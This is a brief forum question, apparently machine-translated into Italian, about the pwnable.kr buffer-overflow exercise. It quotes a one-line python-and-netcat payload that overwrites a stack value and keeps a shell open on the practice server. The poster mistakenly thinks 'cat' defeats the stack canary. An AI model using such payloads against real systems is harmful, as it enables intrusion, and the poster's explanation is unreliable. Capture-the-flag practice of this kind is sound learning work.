Sto provando ora un esercizio di overflow del buffer dal sito pwnable.kr Ho trovato la stringa che dovrebbe essere inserita per ottenere frunction ma ho ottenuto "Stack Smash Detected", quindi ho trovato una soluzione in rickgray.me
Suggeriscono (python -c 'print "A" * 52 + "\ xbe \ xba \ xfe \ xca"'; cat -) | nc pwnable.kr 9000
che funziona, In qualche modo l'aggiunta del comando "gatto" supera il canarino. Non capisco perché sia così